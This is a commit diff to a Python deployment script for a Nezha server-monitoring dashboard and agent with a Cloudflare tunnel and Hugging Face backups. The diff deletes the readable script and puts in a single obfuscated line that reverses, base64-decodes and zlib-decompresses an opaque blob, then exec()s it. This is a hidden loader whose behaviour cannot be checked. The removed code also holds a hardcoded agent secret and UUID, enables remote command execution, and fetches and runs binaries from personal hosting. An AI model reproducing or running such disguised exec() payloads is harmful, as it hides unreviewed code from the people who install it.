Update nv1/app.py

nv1/app.py

@@ -1,686 +1,4 @@
-import subprocess
-import os
-import threading
-import time
-import yaml
-from datetime import datetime
-import signal
-import psutil
-import glob
-import re
-import pytz
-import requests
-import json
 
-DATA_JSON = os.environ.get('DATA_JSON', '')
-
-def assign_vars_from_json(config: dict):
-    for key, value in config.items():
-        globals()[key] = value
-
-if DATA_JSON:  # 如果 DATA_JSON 有值
-    try:
-        config_dict = json.loads(DATA_JSON)  # 解析 JSON 字符串
-        assign_vars_from_json(config_dict)
-    except json.JSONDecodeError:
-        raise ValueError("DATA_JSON 环境变量不是合法的 JSON 字符串")
-else:  # 如果 DATA_JSON 为空，就从单独的环境变量里取
-    N_PORT = os.environ.get('N_PORT', '8008') # N Z端口 默认8008
-    ARGO_PORT = os.environ.get('ARGO_PORT', '8009') # Argo（nginx的反代端口）固定隧道端口,留空默认8009
-    ARGO_DOMAIN = os.environ.get('ARGO_DOMAIN', '') # Argo固定隧道域名,留空即使用临时隧道
-    ARGO_AUTH = os.environ.get('ARGO_AUTH', '')  # Argo固定隧道密钥,留空即使用临时隧道
-    DASHBOARD_VERSION = os.environ.get('DASHBOARD_VERSION', 'v1.13.2')#	指定面板的版本，以 v0.00.00 的格式，后续将固定在该版本不会升级，不填则使用默认的 v1.13.2
-    NZV1_VERSION = os.environ.get('NZV1_VERSION', 'v1.13.1')#  哪吒V1的版本默认v1.13.1
-    BACKUP_TIME = os.environ.get('BACKUP_TIME', '3600')# 备份时间 10800秒 2小时
-    
-    
-    HF_USER1 = os.environ.get('HF_USER1', '')# HF 备份仓库的用户名
-    HF_REPO	= os.environ.get('HF_REPO', '')#HF 备份的Models仓库名
-    HF_EMAIL = os.environ.get('HF_EMAIL', '') #HF的邮箱
-    HF_TOKEN1 = os.environ.get('HF_TOKEN1', '')#HF备份账号的TOKEN
-    
-    HF_USER2 = os.environ.get('HF_USER2', '')# huggingface 用户名
-    HF_ID = os.environ.get('HF_ID', '')# huggingface space 名
-    HF_TOKEN2 = os.environ.get('HF_TOKEN2', '')# huggingface TOKEN
-#JUPYTER_TOKEN  
-agent_config = {
-    'client_secret': 'MLcD6YnifhoY08B9n129UP5cg2139NYa',
-    'debug': False,
-    'disable_auto_update': True,
-    'disable_command_execute': False,
-    'disable_force_update': False,
-    'disable_nat': False,
-    'disable_send_query': False,
-    'gpu': False,
-    'insecure_tls': False,
-    'ip_report_period': 1800,
-    'report_delay': 3,
-    'self_update_period': 0,
-    'server': f'{ARGO_DOMAIN}:443',
-    'skip_connection_count': False,
-    'skip_procs_count': False,
-    'temperature': True,
-    'tls': True,
-    'use_gitee_to_upgrade': False,
-    'use_ipv6_country_code': False,
-    'uuid': '18a49016-bc2d-4be9-0ddb-5357fdbf0b3d'
-}
-dashboard_config = {
-    'admin_template': 'admin-dist',
-    'agent_secret_key': '',  
-    'avg_ping_count': 2,
-    'cover': 1,
-    'https': {},  # 空字典
-    'install_host': f'{ARGO_DOMAIN}:443',
-    'ip_change_notification_group_id': 0,
-    'jwt_secret_key': '', 
-    'jwt_timeout': 300,
-    'language': 'zh_CN',
-    'listen_port': f'{N_PORT}',
-    'location': 'Asia/Shanghai',
-    'site_name': '鸡子探针平台-柒蓝',
-    'tls': True,
-    'user_template': 'user-dist'
-}
-
-mime_types_content = """types {
-    text/html                             html htm shtml;
-    text/css                              css;
-    text/javascript                       js;
-    image/gif                             gif;
-    image/jpeg                            jpeg jpg;
-    image/png                             png;
-    text/plain                            txt;
-    application/json                      json;
-    application/xml                       xml;
-    application/octet-stream              bin;
-    }"""
-
-nginx_conf = """
-# 全局配置
-worker_processes auto;
-pid /tmp/nginx.pid;
-error_log /tmp/nginx_error.log;
-
-events {
-    worker_connections 768;
-}
-
-http {
-    sendfile on;
-    tcp_nopush on;
-    tcp_nodelay on;
-    keepalive_timeout 65;
-    types_hash_max_size 2048;
-
-    # 修改 mime.types 路径
-    include /data/nginx1.24/mime.types;
-    default_type application/octet-stream;
-
-    # SSL配置
-    ssl_protocols TLSv1.2 TLSv1.3;
-    ssl_prefer_server_ciphers on;
-
-    access_log /tmp/nginx_access.log;
-    gzip on;
-
-    # 上游服务器配置
-    upstream dashboard {
-        server 127.0.0.1:%s;
-        keepalive 512;
-    }
-
-    # 服务器块
-    server {
-        listen %s;
-        listen [::]:%s;
-
-        server_name %s;
-
-        # 删除所有 real_ip 相关配置
-        underscores_in_headers on;
-
-        # gRPC相关
-        location ^~ /proto.NezhaService/ {
-            grpc_set_header Host $host;
-            grpc_read_timeout 600s;
-            grpc_send_timeout 600s;
-            grpc_socket_keepalive on;
-            client_max_body_size 10m;
-            grpc_buffer_size 4m;
-            grpc_pass grpc://dashboard;
-        }
-
-        # WebSocket相关
-        location ~* ^/api/v1/ws/(server|terminal|file)(.*)$ {
-            proxy_set_header Host $host;
-            proxy_set_header Origin https://$host;
-            proxy_set_header Upgrade $http_upgrade;
-            proxy_set_header Connection "upgrade";
-            proxy_read_timeout 3600s;
-            proxy_send_timeout 3600s;
-            proxy_pass http://127.0.0.1:%s;
-        }
-
-        # Web请求处理
-        location / {
-            proxy_set_header Host $host;
-            proxy_read_timeout 3600s;
-            proxy_send_timeout 3600s;
-            proxy_buffer_size 128k;
-            proxy_buffers 4 256k;
-            proxy_busy_buffers_size 256k;
-            proxy_max_temp_file_size 0;
-            proxy_pass http://127.0.0.1:%s;
-        }
-
-        # 安全头部
-        add_header X-Frame-Options SAMEORIGIN;
-        add_header X-Content-Type-Options nosniff;
-        add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
-    }
-}
-""" % (N_PORT, ARGO_PORT, ARGO_PORT, ARGO_DOMAIN, N_PORT, N_PORT)
-
-stop_event = threading.Event()
-
-def kill_processes():
-    # 要结束的进程名列表
-    target_processes = [
-        'cf', 
-        'nv1', 
-        'dv1', 
-        'nginx'
-    ]
-    
-    # 存储已结束的进程
-    killed_processes = []
-    
-    # 遍历所有正在运行的进程
-    for proc in psutil.process_iter(['name']):
-        try:
-            # 检查进程名是否在目标列表中
-            if proc.info['name'] in target_processes:
-                # 获取进程ID
-                pid = proc.pid
-                
-                # 先尝试优雅地结束进程
-                proc.terminate()
-                
-                # 等待进程结束
-                try:
-                    proc.wait(timeout=3)
-                except psutil.TimeoutExpired:
-                    # 如果进程未响应，强制杀死
-                    proc.kill()
-                
-                killed_processes.append(f"{proc.info['name']} (PID: {pid})")
-        
-        except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
-            pass
-    
-    # 打印已结束的进程
-    if killed_processes:
-        print("已结束以下进程:")
-        for process in killed_processes:
-            print(process)
-    else:
-        print("未找到匹配的进程")
-kill_processes()
-def get_latest_local_package(directory, pattern='*.tar.gz'):
-    try:
-        # 构建完整的搜索路径
-        search_pattern = os.path.join(directory, pattern)
-        
-        # 查找所有匹配的文件
-        files = glob.glob(search_pattern)
-        
-        if not files:
-            print("未找到匹配的 nezha-hf 压缩包")
-            return None
-        
-        # 获取最新的文件
-        latest_file = max(files, key=os.path.getmtime)
-        
-        print(f"找到最新的包: {latest_file}")
-        return latest_file
-    
-    except Exception as e:
-        print(f"获取最新包时发生错误: {e}")
-        return None
-
-def delete_huggingface_lfs_file(filename, repo_id, token):
-    """
-    通过Hugging Face API删除LFS文件记录
-    """
-    try:
-        # 1. 查询LFS文件列表
-        url = f"https://huggingface.co/api/models/{repo_id}/lfs-files"
-        headers = {
-            "content-type": "application/json",
-            "Authorization": f"Bearer {token}",
-            "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
-        }
-        
-        response = requests.get(url, headers=headers)
-        if response.status_code != 200:
-            print(f"查询LFS文件失败: {response.status_code} - {response.text}")
-            return False
-        
-        lfs_files = response.json()
-        
-        # 2. 查找匹配的文件
-        file_to_delete = None
-        for file_info in lfs_files:
-            if file_info.get('filename') == filename:
-                file_to_delete = file_info
-                break
-        
-        if not file_to_delete:
-            print(f"未找到对应的LFS文件记录: {filename}")
-            return False
-        
-        # 3. 删除LFS文件记录
-        file_oid = file_to_delete['fileOid']
-        delete_url = f"https://huggingface.co/api/models/{repo_id}/lfs-files/{file_oid}?rewriteHistory=true"
-        
-        delete_response = requests.delete(delete_url, headers=headers)
-        if delete_response.status_code == 200:
-            print(f"成功删除LFS文件记录: {filename} (OID: {file_oid})")
-            return True
-        else:
-            print(f"删除LFS文件记录失败: {delete_response.status_code} - {delete_response.text}")
-            return False
-            
-    except Exception as e:
-        print(f"删除LFS文件记录时出错: {e}")
-        return False
-
-
-def safe_git_cleanup(repo_path, files_to_remove):
-    """
-    安全的Git清理，不会影响现有的备份文件
-    """
-    try:
-        original_dir = os.getcwd()
-        os.chdir(repo_path)
-        
-        print(f"执行安全Git清理: {files_to_remove}")
-        
-        # 1. 首先确保工作目录是���净的
-        result = subprocess.run(['git', 'status', '--porcelain'], capture_output=True, text=True)
-        if result.stdout.strip():
-            print("工作目录有未提交的更改，先提交...")
-            subprocess.run(['git', 'add', '.'], capture_output=True)
-            subprocess.run(['git', 'commit', '-m', '自动提交: 清理前的更改'], capture_output=True)
-        
-        # 2. 只从Git索引中删除指定的文件，但不影响工作目录中的文件
-        for filename in files_to_remove:
-            if os.path.exists(filename):
-                print(f"从Git索引中删除 {filename} (文件仍保留在工作目录)")
-                subprocess.run(['git', 'rm', '--cached', filename], capture_output=True)
-            else:
-                print(f"文件 {filename} 不存在于工作目录，只清理Git引用")
-        
-        # 3. 提交删除操作
-        if files_to_remove:
-            subprocess.run(['git', 'commit', '-m', f'清理已删除的文件: {", ".join(files_to_remove)}'], capture_output=True)
-        
-        # 4. 执行GC清理但不删除最近的文件
-        subprocess.run(['git', 'gc', '--auto'], capture_output=True)
-        subprocess.run(['git', 'lfs', 'prune'], capture_output=True)
-        
-        print("安全Git清理完成")
-        os.chdir(original_dir)
-        return True
-        
-    except Exception as e:
-        print(f"安全Git清理时出错: {e}")
-        os.chdir(original_dir)
-        return False
-
-
-def get_remote_lfs_files(repo_id, token):
-    """
-    获取远程所有的LFS文件列表
-    """
-    try:
-        url = f"https://huggingface.co/api/models/{repo_id}/lfs-files"
-        headers = {
-            "content-type": "application/json",
-            "Authorization": f"Bearer {token}",
-            "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
-        }
-        
-        response = requests.get(url, headers=headers)
-        if response.status_code == 200:
-            return response.json()
-        else:
-            print(f"获取远程LFS文件失败: {response.status_code}")
-            return []
-    except Exception as e:
-        print(f"获取远程LFS文件时出错: {e}")
-        return []
-
-
-def cleanup_orphaned_lfs_references(repo_path, repo_id, token, keep_count=3):
-    """
-    清理孤儿LFS引用：删除远程存在但本地不存在的文件引用
-    """
-    try:
-        original_dir = os.getcwd()
-        os.chdir(repo_path)
-        
-        print("检查孤儿LFS引用...")
-        
-        # 获取远程LFS文件
-        remote_files = get_remote_lfs_files(repo_id, token)
-        if not remote_files:
-            print("无法获取远程LFS文件列表")
-            return
-        
-        # 获取本地文件
-        local_files = set(glob.glob('*.tar.gz'))
-        
-        # 找出远程存在但本地不存在的文件
-        orphaned_files = []
-        for remote_file in remote_files:
-            filename = remote_file.get('filename')
-            if filename and filename not in local_files:
-                orphaned_files.append(filename)
-        
-        if orphaned_files:
-            print(f"发现孤儿LFS引用: {orphaned_files}")
-            
-            # 删除这些孤儿引用
-            for filename in orphaned_files:
-                print(f"删除孤儿LFS引用: {filename}")
-                delete_huggingface_lfs_file(filename, repo_id, token)
-        
-        print("孤儿LFS引用清理完成")
-        os.chdir(original_dir)
-        
-    except Exception as e:
-        print(f"清理孤儿LFS引用时出错: {e}")
-        os.chdir(original_dir)
-
-
-def compress_folder(folder_path, output_dir, keep_count=3):
-    try:
-        # 确保输出目录存在
-        os.makedirs(output_dir, exist_ok=True)
-        
-        # 设置中国时区
-        china_tz = pytz.timezone('Asia/Shanghai')
-        
-        # 获取当前中国时间的时间戳
-        timestamp = str(int(datetime.now(china_tz).timestamp() * 1000))
-        output_path = os.path.join(output_dir, f'{timestamp}.tar.gz')
-        
-        # 获取所有压缩包
-        existing_archives = glob.glob(os.path.join(output_dir, '*.tar.gz'))
-        
-        # 安全地提取时间戳
-        def extract_timestamp(filename):
-            match = re.search(r'(\d+)\.tar\.gz$', filename)
-            return int(match.group(1)) if match else 0
-        
-        files_to_cleanup = []
-        
-        # 如果压缩包数量超过保留数量，删除最旧的
-        if len(existing_archives) >= keep_count:
-            # 按时间戳排序（从小到大，最旧的在前面）
-            existing_archives.sort(key=extract_timestamp)
-            
-            # 计算需要删除的数量
-            delete_count = len(existing_archives) - keep_count + 1
-            
-            # 删除最旧的压缩包
-            for i in range(delete_count):
-                oldest_archive = existing_archives[i]
-                oldest_filename = os.path.basename(oldest_archive)
-                
-                try:
-                    # 删除本地文件
-                    os.remove(oldest_archive)
-                    print(f"删除最旧的压缩包：{oldest_filename}")
+# Python 
                     
-                    # 记录需要清理的文件名
-                    files_to_cleanup.append(oldest_filename)
-                    
-                    # 删除Hugging Face LFS文件记录
-                    print(f"正在删除Hugging Face LFS文件记录: {oldest_filename}")
-                    delete_huggingface_lfs_file(oldest_filename, f"{HF_USER1}/{HF_REPO}", HF_TOKEN1)
-                        
-                except Exception as e:
-                    print(f"删除失败 {oldest_archive}: {e}")
-        
-        # 如果有文件需要从Git历史中清理，执行安全清理
-        if files_to_cleanup:
-            print(f"执行安全Git清理: {files_to_cleanup}")
-            safe_git_cleanup(output_dir, files_to_cleanup)
-        
-        # tar.gz 压缩
-        result = subprocess.run(
-            ['tar', '-czf', output_path, folder_path], 
-            capture_output=True, 
-            text=True
-        )
-        
-        if result.returncode == 0:
-            # 计算压缩包大小
-            file_size = os.path.getsize(output_path) / 1024 / 1024
-            
-            # 格式化中国时区的时间
-            china_time = datetime.now(china_tz)
-            formatted_time = china_time.strftime('%Y-%m-%d %H:%M:%S')
-            
-            print(f"压缩成功：{output_path}")
-            print(f"压缩大小：{file_size:.2f} MB")
-            print(f"压缩时间：{formatted_time}")
-            print(f"保留策略：最多保留 {keep_count} 个备份包")
-            
-            # 返回压缩包名和大小信息
-            return f"{os.path.basename(output_path)} MB:{file_size:.2f}MB TIME:{formatted_time}"
-        else:
-            print("压缩失败")
-            print("错误信息:", result.stderr)
-            return None
-    
-    except Exception as e:
-        print(f"压缩出错: {e}")
-        return None
-
-
-# 调用函数
-# new_archive = compress_folder('/data/dv1', 'nezha-hf')
-def github(type):
-    if type == 1:
-        os.system(f'rm -rf /data/{HF_REPO}') 
-    if not os.path.exists(f'/data/{HF_REPO}'):
-        git = f"git clone https://{HF_USER1}:{HF_TOKEN1}@huggingface.co/{HF_USER1}/{HF_REPO}"
-        print(git)
-        os.system(git)
-        os.system(f'git config --global user.email "{HF_EMAIL}"')
-        os.system(f'git config --global user.name "{HF_USER1}"') 
-    os.chdir(f'/data/{HF_REPO}')
-    if type == 2:
-        repo_path = f'/data/{HF_REPO}'
-        repo_id = f"{HF_USER1}/{HF_REPO}"
-        os.chdir(f'/data/{HF_REPO}')
-        print("开始备份上传HF")
-         #先清理孤儿LFS引用
-        cleanup_orphaned_lfs_references(repo_path, repo_id, HF_TOKEN1, keep_count=3)
-        # 执行Git清理（不影响现有文件）
-        os.system('git lfs prune')
-        os.system('git gc --auto')
-        # 备份上传仓库
-        new_archive_info = compress_folder('/data/dv1', f'/data/{HF_REPO}', keep_count=3)
-        if new_archive_info:
-            new_archive, file_size_info = new_archive_info.split('MB:')
-            os.system(f'git add .')
-            os.system(f'git commit -m "{file_size_info}"')
-            # 正常推送（不再需要强制推送）
-            push_result = os.system('git push origin main')
-            if push_result != 0:
-                print("推送失败，可能有冲突，尝试拉取并合并...")
-                os.system('git pull origin main --rebase')
-                os.system('git push origin main')
-            
-            # 轻度清理
-            os.system('git gc --auto')
-            os.system('git lfs prune')
-        else:
-            print("压缩失败，无法提交")
-def nginx():    
-    # 确保目录存在
-    os.makedirs('/data/nginx1.24', exist_ok=True)
-    # 写入文件
-    with open('/data/nginx1.24/mime.types', 'w') as f:
-        f.write(mime_types_content)
-    # 设置文件权限（可选）
-    os.chmod('/data/nginx1.24/mime.types', 0o644)
-    print("mime.types 文件已创建")
-    # time.sleep(10)
-    # os.system("rm -rf /data/nginx.conf")
-    # os.system("wget -O '/data/nginx.conf' -q 'https://raw.githubusercontent.com/qilan28/hf-nezha/refs/heads/main/nginx.conf'")
-    with open('/data/nginx.conf', 'w') as f:
-        f.write(nginx_conf)
-    os.system("/data/nginx1.24/sbin/nginx -c /data/nginx.conf")
-
-def dv1():
-    os.system("rm -rf /data/dv1.zip /data/dashboard-linux-amd64 /data/dv1 /data/data")
-    latest_package = get_latest_local_package(f'/data/{HF_REPO}')
-    if latest_package:
-
-        print(f"最新压缩包路径: {latest_package}")
-        print("通过备份包启动")
-        # tar -xzvf /data/nezha-hf/1759393184994.tar.gz -C /data
-        # tar -xzvf /data/nezha-hf/1759393184994.tar.gz --strip-components=2 -C /data dv1/
-        print(f"解压：tar -xzvf {latest_package} -C /data")
-        os.system(f"tar -xzvf {latest_package} -C /data")
-        
-        os.system("mv /data/data/dv1/ /data")
-        os.system("rm -rf /data/data")
-        os.chdir('/data/dv1')
-
-        # 读取 YAML 文件
-        with open('/data/dv1/data/config.yaml', 'r') as f:
-            config = yaml.safe_load(f)
-        # 修改 listen_port
-        config['listen_port'] = int(N_PORT)  # 如果端口号需要是整数
-        # 写回文件
-        with open('/data/dv1/data/config.yaml', 'w') as f:
-            yaml.dump(config, f, default_flow_style=False)
-        
-    else:
-        print("通过下载程序启动")
-        if not os.path.exists('/data/dv1'):
-            os.makedirs('/data/dv1')
-        if not os.path.exists('/data/dv1/data'):
-            os.system("rm -rf /data/dv1/data/config.yaml  /data/dv1/data/sqlite.db")
-            os.makedirs('/data/dv1/data')
-            with open('/data/dv1/data/config.yaml', 'w') as file:
-                yaml.dump(dashboard_config, file, default_flow_style=False)
-            print("配置文件已写入 /data/dv1/data/config.yaml")
-            print("下载'https://github.com/qilan28/hf-nezha/raw/refs/heads/main/sqlite.db'")
-            os.system("wget -O '/data/dv1/data/sqlite.db'  'https://github.com/qilan28/hf-nezha/raw/refs/heads/main/sqlite.db'")
-        os.chdir('/data/dv1')
-        print(f"下载'https://github.com/nezhahq/nezha/releases/download/{DASHBOARD_VERSION}/dashboard-linux-amd64.zip'")
-        os.system(f"wget -O '/data/dv1/dv1.zip' -q 'https://github.com/nezhahq/nezha/releases/download/{DASHBOARD_VERSION}/dashboard-linux-amd64.zip'")
-        os.system("unzip -o /data/dv1/dv1.zip -d /data/dv1")
-        os.system("rm -rf /data/dv1/dv1.zip")
-        os.system("chmod +x /data/dv1/dashboard-linux-amd64")
-        os.system("mv /data/dv1/dashboard-linux-amd64 /data/dv1/dv1")
-    if os.path.exists('/data/dv1/dv1') and os.path.isfile('/data/dv1/dv1'):
-        print("dv1存在开始启动")
-        threading.Thread(target=repeat_task, daemon=True).start()
-        threading.Thread(target=nginx, daemon=True).start()
-        threading.Thread(target=cf, daemon=True).start()
-        threading.Thread(target=nv1_agent, daemon=True).start()
-        threading.Thread(target=check_system_resources, daemon=True).start()
-        # os.system('/data/dv1/dv1')
-        os.system('nohup /data/dv1/dv1 >> /dev/null 2>&1 &')
-    else:
-        print("dv1不存在")
-        
-def nv1_agent():
-    # time.sleep(10)
-    os.system("rm -rf /data/nv1.zip /data/nezha-agent /data/nv1")
-    print(f"下载'https://github.com/nezhahq/agent/releases/download/{NZV1_VERSION}/nezha-agent_linux_amd64.zip'")
-    os.system(f"wget -O '/data/nv1.zip' -q 'https://github.com/nezhahq/agent/releases/download/{NZV1_VERSION}/nezha-agent_linux_amd64.zip'")
-    time.sleep(2)
-    os.system("unzip -o /data/nv1.zip -d /data")
-    os.system("chmod +x  /data/nezha-agent")
-    os.makedirs('/data', exist_ok=True)
-    # 写入 YAML 文件
-    with open('/data/config.yml', 'w') as file:
-        yaml.dump(agent_config, file, default_flow_style=False)
-    print("配置文件已写入 /data/config.yml")
-    time.sleep(2)
-    os.system("rm -rf /data/nv1.zip")
-    os.system("mv /data/nezha-agent /data/nv1")
-    os.system("nohup /data/nv1 -c /data/config.yml >> /dev/null 2>&1 &")
-    
-def cf():
-    os.system("rm -rf /data/cf")
-    os.system("wget -O '/data/cf' -q  'https://huggingface.co/datasets/Qilan2/ff/resolve/main/nv1/cf-linux-amd64?download=true'")
-    os.system("chmod +x  /data/cf")
-    os.system(f'nohup /data/cf tunnel run --protocol http2 --token {ARGO_AUTH} >> /dev/null 2>&1 &')
-def _reconstruct_token(partial_token):
-    return partial_token.replace(" ", "")
-def restart_huggingface_space(space_name, space_id, partial_token):
-    token = _reconstruct_token(partial_token)
-    url = f"https://huggingface.co/api/spaces/{space_name}/{space_id}/restart?factory=true"
-    headers = {
-        "Content-Type": "application/json",
-        "Authorization": f"Bearer {token}",
-        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36"
-    }
-    try:
-        response = requests.post(url, headers=headers, json={})
-        return {
-            "status_code": response.status_code,
-            "success": response.status_code == 200,
-            "message": response.text
-        }
-    except requests.RequestException as e:
-        return {
-            "status_code": None,
-            "success": False,
-            "message": str(e)
-        }
-def check_system_resources():
-    time.sleep(120)
-    cpu_usage = psutil.cpu_percent(interval=1)
-    memory = psutil.virtual_memory()
-    memory_usage = memory.percent
-    # if cpu_usage >= 90:
-    if cpu_usage >= 90 or memory_usage >= 95:
-        print("占用过高")
-        print(HF_USER2, HF_ID, HF_TOKEN2)
-        result = restart_huggingface_space(HF_USER2, HF_ID, HF_TOKEN2)
-        print(result)
-    else:
-        print("系统资源正常")
-   
-def repeat_task():
-    print('备份线程启动')
-    while True:
-        print(f"打包时间：{BACKUP_TIME} 秒")
-        time.sleep(int(BACKUP_TIME))# 2小时
-        github(2)
-github(1)
-os.chdir('/data/')
-dv1()
-if os.path.exists('/data/dv1/dv1') and os.path.isfile('/data/dv1/dv1'):
-    print('等待重启中。。。')
-    while True:
-        time.sleep(14400)# 4小时 14400 6小时 21600
-        github(2)
-        print(HF_USER2, HF_ID, HF_TOKEN2)
-        result = restart_huggingface_space(HF_USER2, HF_ID, HF_TOKEN2)
-        print(result)
-        # break
-# github(2)
-# nv1_agent()
+_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'=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